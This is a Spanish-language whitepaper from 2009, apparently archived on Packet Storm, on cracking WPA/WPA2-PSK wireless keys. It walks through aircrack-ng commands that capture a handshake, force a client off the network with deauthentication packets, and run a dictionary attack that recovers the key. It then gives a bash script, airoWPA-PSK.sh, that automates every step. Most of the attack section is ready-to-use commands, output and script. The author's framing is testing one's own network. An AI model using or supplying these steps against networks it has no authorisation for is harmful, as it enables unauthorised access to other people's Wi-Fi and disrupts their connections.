what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Wordlist Cracking WPA/WPA2-PSK

Wordlist Cracking WPA/WPA2-PSK
Posted Mar 9, 2009
Authored by ka0x

Whitepaper discussing the cracking of WPA and WPA-PSK with a wordlist. Written in Spanish.

tags | paper
SHA-256 | c270bbe7135098af512abffe5708f49a05055f3714422fb5eb2184f8ab403732

Wordlist Cracking WPA/WPA2-PSK

Change Mirror Download
-[ INFORMACIÓN ]---------------------------------------------------------------------

Titulo: Cracking WPA/WPA2-PSK with wordlist
Autor: ka0x
Contacto: ka0x01[alt+64]gmail.com
Fecha: 08/03/2009

---------------------------------------------------------------------------------


-[ ÍNDICE ]---------------------------------------------------------------------

0x01: Introducción
0x02: ¿Qué es el handshake?
0x03: Capturando handshake
0x04: Conseguir clave con diccionario
0x05: airoWPA-PSK.sh
0x06: Fin

---------------------------------------------------------------------------------


---[ 0x01: Introduction ]

En este pequeño texto se explicará como obtener la clave de una red inalámbrica con cifrado WPA/WP2
en la que se esté usando un sistema de clave compartida (pre-shared keys - PSK).
Para todo esto necesitaremos capturar un handshake y después con un diccionario atacar al handshake
para obtener la clave.

Imaginemos que en este caso tenemos la siguiente red inalambrica:

- ESSID: ap_labs
- BSSID: 00:1B:02:93:AF:9C
- CANAL: 1
- CLIENTE: 01:C2:B3:04:02:05


---[ 0x02: ¿Qué es el handshake? ]

Pues el handshake se genera cuando un cliente se asocia a la red inalámbrica.
Es como un saludo (apretón de manos) entre el punto de acceso y el cliente.
Son los paquetes que se envían entre el AP y el cliente en el momento de la asociación,
para que podamos empezar el ataque con diccionario en una red con cifrado WPA-PSK, necesitaremos haber
capturado estos paquetes.

---------------------------------------------------------------------------------



---[ 0x03: Capturando handshake ]

Bueno empecemos...
Como dije, íbamos a utilizar la suite de aircrack-ng, si queremos los sources y demás
podemos entrar a su web: http://www.aircrack-ng.org/doku.php#download

Si utilizamos debian, encontraremos el paquete en los repositorios, instalar:
# apt-get install aircrack-ng

Para poder capturar paquetes, tendremos que poner nuestro adaptador wireles en modo monitor:

# airmon-ng start <iface>
p.e: # airmon-ng start wlan0


Siempre se necesitará tener un cliente 'real' asociado en el AP.
Entonces una vez para empezar a capturar paquetes, utilizaremos airodump-ng:

# airodump-ng --bssid 00:1B:02:93:AF:9C -c 1 -w redWPA wlan0
--bssid -> MAC del punto de acceso.
-w redWPA -> guardará los datos obtenidos en el archivo "redWPA".
-c -> Canal del punto de acesso
wlan0 -> interfaz adaptador inalambrico.

Así capturaremos todo lo que pase por el punto de acceso con MAC: 00:1B:02:93:AF:9C
Entonces vayamos a capturar el handshake...


Como habíamos dicho antes el handshake se genera en el momento que un cliente se asocia al AP.
Entonces, cómo hacemos que se vuelva asociar el cliente al AP?

Facil, desautenticaremos al cliente del AP y esperamos a que se vuelva asociar,
para este proceso usaremos el ataque 0 de aireplay-ng. Este ataque enviará al cliente paquetes de
desautenticacion

Uso:
# aireplay-ng -0 5 -a <MAC_AP> -c <MAC_CLIENTE> <interfaz>
|-> Numero de desautenticaciones que se enviarán.
Si ponemos un 0, enviará desautenticaciones hasta que lo paremos.

En este caso:
# aireplay-ng -0 15 -a 00:1B:02:93:AF:9C -c 01:C2:B3:04:02:05 wlan0

Cuando ejecutemos esto segun el numero de desautenticaciones nos aparecerá algo así:
Sending DeAuth to station -- STMAC: [01:C2:B3:04:02:05]

En el momento que el cliente se desasocie y se vuelva a asociar al AP, nosotros con el airodump-ng
capturaremos el handshake.

¿Cómo sabemos que ya lo hemos capturado?

Pues en la ventana donde tenemos corriendo el airodump-ng, arriba a la derecha, veremos algo así:
CH 1 ] [ Elapsed: 14 mins ][ 2009-03-08 ][ WPA handshake: 00:1B:02:93:AF:9C

Una vez que nos aparezca eso, ya podemos cerrar todo, en el archivo redWPA-01.cap ya tendremos
el dichoso handshake =)

---------------------------------------------------------------------------------


---[ 0x04: Conseguir clave con diccionario ]


Una vez teniendo el handshake, ya podemos utilizar un diccionario de posibles claves
para que aircrack-ng compruebe haber si alguna de las claves del diccionario coincide
con la del AP.

¿Qué diccionario usar? pues el de john the ripper, alguno propio, hay muchos...
aunque se supone que esto es para comprobar la seguridad de tu red wireless y ya te tendrás
que saber de sobra tu clave.

La clave pre-compartida puede tener un tamaño de 8 a 63 caracteres.

Empecemos...

Si ejecutamos:
# aircrack-ng redWPA-01.cap

Podremos ver que tenemos un handshake:

---------
Opening wpa-hand.cap
Read 553 packets.

# BSSID ESSID Encryption

1 00:1B:02:93:AF:9C ap_labs WPA (1 handshake) <------

Choosing first network as target.

Opening wpa-hand.cap
Please specify a dictionary (option -w).


Quitting aircrack-ng...
---------

Uso de aircrack-ng con diccionario:
# aircrack-ng -w <ruta_diccionario> <archivo_de_capturas>


Suponiendo que nuestro archivo de datos capturados donde se encuentra el handshake se llama
redWPA-01.cap, lo ejecutaremos de la siguiente forma:


# aircrack-ng -w diccionario.lst redWPA-01.cap

Entonces aquí ya aircrack-ng se pondrá a comprobar las posibles claves del diccionario hasta obtenerla.
Una vez obtenida, nos aparecerá lo siguiente:

---------

Aircrack-ng 1.0 rc1


[00:00:00] 0 keys tested (0.00 k/s)


KEY FOUND! [ clave__ap ]


Master Key : 18 D4 E8 70 A0 B5 D2 26 4C 61 BA 85 5F 36 8F D9
DA 56 2A D2 51 B6 01 B6 A9 E8 61 B3 CD 92 7D 09

Transcient Key : DA 5E 56 09 35 9E 2D 9F 35 B0 C5 9E A9 41 71 B5
8A 8C B6 1B B5 A0 D2 C0 53 47 C6 05 CC 2C CA C0
C7 41 04 B2 F5 7D 44 DF 71 C5 11 78 5D DE A1 D0
F9 2E BE 54 22 46 82 24 35 91 7E 93 21 9D BF 78

EAPOL HMAC : 6A 31 F7 C0 C8 A7 83 37 50 FD 44 C3 8C 7D 2B 26

---------

Hay ya vemos que encontro la clave y que es 'clave__ap'.
Como vemos el proceso de obtener una clave WPA/WPA2-PSK no es tan dificil siempre y cuando
sepamos nuestra clave, ya que si no la sabríamos este proceso podría durar horas, dias e incluso !!semanas!!

---------------------------------------------------------------------------------



---[ 0x05: airoWPA-PSH.sh ]

Para simplificar un poco este proceso de obtención de la clave, hice un pequeño script en bash
sencillo que te puede servir si eres un poco vago :P

<-----------------airoWPA-PSK.sh--------------------->
#!/bin/bash

# airoWPA-PSK.sh v0.1
# written by ka0x <ka0x01[at]gmail.com>

if [ $UID != 0 ]; then
echo "[!] NECESITAS EJECUTAR EL SCRIPT $0 CON PRIVILEJIOS DE SUPERUSUARIO"
exit
fi

comprueba_mac(){
if [ ! "${#1}" -eq "17" ]; then
echo -e "\033[31mMac Incorrecta\n\033[0m"
exit
fi
}
interfaces() {
echo -e "\n\033[31m[*] Seleccione la interfaz que va a utilizar: \033[0m\n"
INTERFACES=$(iwconfig | grep ESSID | awk '{ print $1 }')
select INTER in $INTERFACES; do
break;
done
clear
}

monitor(){
airmon-ng start $INTER
clear
menu
}

handshake(){
clear
read -p "[-] Introduzca la MAC del AP: " mac_ap
comprueba_mac $mac_ap
read -p "[-] Introduzca la MAC del Cliente: " mac_client
comprueba_mac $mac_client
read -p "[-] Introduzca el canal del AP: " mac_chanel
read -p "[-] Nombre de archivo donde se guardaran los datos capturados: " datas
xterm -hold -title "Obteniendo Handshake en $mac_ap" -geometry 96x60+0+0 -bg "#000000" -fg "#FFFFFF" -e airodump-ng --bssid $mac_ap -c $mac_chanel -w $datas $INTER && clear && menu
}

desautenticacion(){
clear
read -p "[-] Introduzca la MAC del AP: " mac_ap
comprueba_mac $mac_ap
read -p "[-] Introduzca la MAC del cliente asociado: " mac_cliente
comprueba_mac $mac_cliente
read -p "[-] Introduzca el numero de desautenticaciones: " num
xterm -hold -geometry 70x25-0+0 -bg "#000000" -fg "#99CCFF" -title "Desautenticando $mac_cliente del AP $mac_ap $num veces" -e aireplay-ng -0 $num -a $mac_ap -c $mac_cliente $INTER
clear
menu
}

crack_dicc(){
clear
read -p "[-] Introduzca la ruta del diccionario: " diccionario
echo "[-] Seleccione el archivo de datos capturados:"

LS_DIR=$(ls *.cap)
select DATA in $LS_DIR; do
break;
done

xterm -hold -geometry 70x25-0+0 -bg "#000000" -fg "#99CCFF" -title "Obteniendo clave con diccionario: $diccionario" -hold -e aircrack-ng -w $diccionario $DATA
menu
}

menu(){
echo -e "\n[*] Opciones:\n"
echo -e "\033[31m-=-=-=-=-=-=-=-=-=-=-=-=-\033[0m"
echo "1 - Activar Modo Monitor"
echo "2 - Capturar handshake"
echo "3 - Desautenticar cliente"
echo "4 - Fuerza bruta con diccionario a handshake"
echo "5 - Salir"
echo -e "\033[31m-=-=-=-=-=-=-=-=-=-=-=-=-\n\033[0m"

read -p "opcion> " OPCION

case $OPCION in
"1") monitor;;
"2") handshake;;
"3") desautenticacion;;
"4") crack_dicc;;
"5") exit;;
*) echo -e "\033[31m[!] OPCION NO VALIDA\n\033[0m" && menu;;

esac
}

interfaces
menu

# __EOF__
<------------------------------------------------>

---------------------------------------------------------------------------------


---[ 0x06: Fin ]

Bueno pues eso es todo, los pasos son bastantes sencillos, cualquier duda pueden
entrar a la web de aircrack-ng (http//www.aircrack-ng.org) donde podrán encontrar abundante documentación
o mismamente enviándome un email.


Espero que haya quedado bastante claro.

Un saludo!

# ka0x

---------------------------------------------------------------------------------

__EOF__


Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close